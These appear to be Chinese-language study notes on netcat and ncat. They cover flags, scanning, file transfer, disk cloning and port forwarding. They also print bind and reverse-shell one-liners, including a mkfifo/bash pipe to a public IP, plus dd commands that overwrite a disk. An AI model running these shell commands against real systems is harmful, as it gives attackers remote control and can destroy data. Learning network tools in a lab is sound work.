-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。 -l 使用监听模式 -e 程序重定向,一旦连接就执行 -n 直接使用IP地址,而不通过域名服务器。 -N 读取到EOF后立即关闭连接 -o<文件名> 输出文件 -p<通信端口> 设置本地主机使用的通信端口。 -q<n> 读取到EOF,n秒后关闭连接 -r 随机端口 -s<来源位址> 设置本地主机送出数据包的IP地址。 -u 使用UDP传输协议。 -v 显示指令执行过程。 -w<超时秒数> 设置等待连线的时间。 -z 无输入/输出,用于扫描。
简单的聊天工具
服务端监听4444端口,客户端连接4444端口
nc -lp 4444 监听4444端口 nc -nv 192.168.145.130 4444 连接4444主机
扫描端口
挺慢的,现在都用nmap扫描
nc -nvz 192.168.145.130 1-100
正向shell
被控制:nc -lp 4444 -e /bin/bash 控制:nc -nv 192.168.145.130 4444
反弹shell
某些版本的netcat有e参数,可以用-e参数运行程序,Ubuntu下的netcat是没有e参数的,但也可以反弹shell
控制:nc -lvnp 4444 被控制:nc 192.168.145.130 4444 -e /bin/bash //Ubuntu: mkfifo /tmp/f;bash -i </tmp/f|nc 106.52.59.243 8888 > /tmp/f
传文件
用了linux的重定向功能,使用N参数可以在检测到文件结束符时自动断开连接
发送方:nc -N 192.168.145.128 4444 < 1.mp4 接收方:nc -lvnp 4444 > 1.mp4 或 发送方:nc -N -lvnp 4444 < 1.mp4 接收方:nc 192.168.145.128 4444 > 1.mp4
传目录
nc并没有传目录的功能,但是可以结合管道命令将文件夹压缩后进行传输,
发送方:tar -cvf - Others/ | nc -N -lp 4444 接收方:nc -nv 192.168.145.1 4444 | tar -xvf -
流媒体
使用前先安装mplayer,apt install mplayer,然后结合管道命令
cat 1.mp4 | nc -N -lp 4444 nc -nv 172.30.206.118 4444 | mplayer -vo x11 -cache 30000 -
克隆硬盘
复制目标服务器的硬盘
就是这两条命令把我Kali搞坏了,重装花了一下午时间,/dev/sda直接写入硬盘,测试前记得拍个快照,硬盘大小设置小一点,sda换成sdb,应该能传完。
接收方:nc -lp 4444 | dd of=/dev/sda 发送方:dd if=/dev/sda | nc -N -nv 192.168.145.128 4444
NC — NCAT
ncat是netcat的plus版本,集成在nmap中,多了点功能,Kali中使用ncat代替netcat,直接用nc命令就能使用ncat,nc所有的包都是明文传输的,加密需要使用其他软件结合管道命令,ncat有加密功能
Windows版本可以在这里
-c, --sh-exec <command> 由/bin/sh运行指定的命令 -e, --exec <command> 运行指定的命令 --allow 仅允许指定的host进行连接 --deny 不允许指定的host进行连接 --ssl 加密传输
加密传输
被控制:ncat -c bash --allow 192.168.145.1 -lvnp 4444 --ssl //仅允许192.168.145.1对其进行加密的远程控制 控制:ncat -nv 192.168.145.130 4444 --ssl
双向端口转发
将远程主机的8888端口转发到本地9999端口,加上-k
ncat -c "ncat 192.168.145.130 8888" -lvnp 9999 -k
简易聊天服务器
使用--chat
参数可以使监听的ncat变成一个简易的多人聊天服务器
ncat -lvnp 8888 --chat ncat 192.168.145.130 8888
连上去之后大概长这样:
<announce> 192.168.145.1 is connected as <user352>. <announce> already connected: nobody. <announce> 192.168.145.2 is connected as <user392>. <announce> already connected: 192.168.145.1 as <user352>. <announce> 192.168.145.4 is connected as <user400>. <announce> already connected: 192.168.145.1 as <user352>, 192.168.145.2 as <user392>. Hello <user392> Hi <user400> How are you
代理功能
使用--proxy
参数设置代理,例如下面的例子使用代理服务器连接Google的443端口
ncat --proxy '127.0.0.1:8888' www.google.com 443 --ssl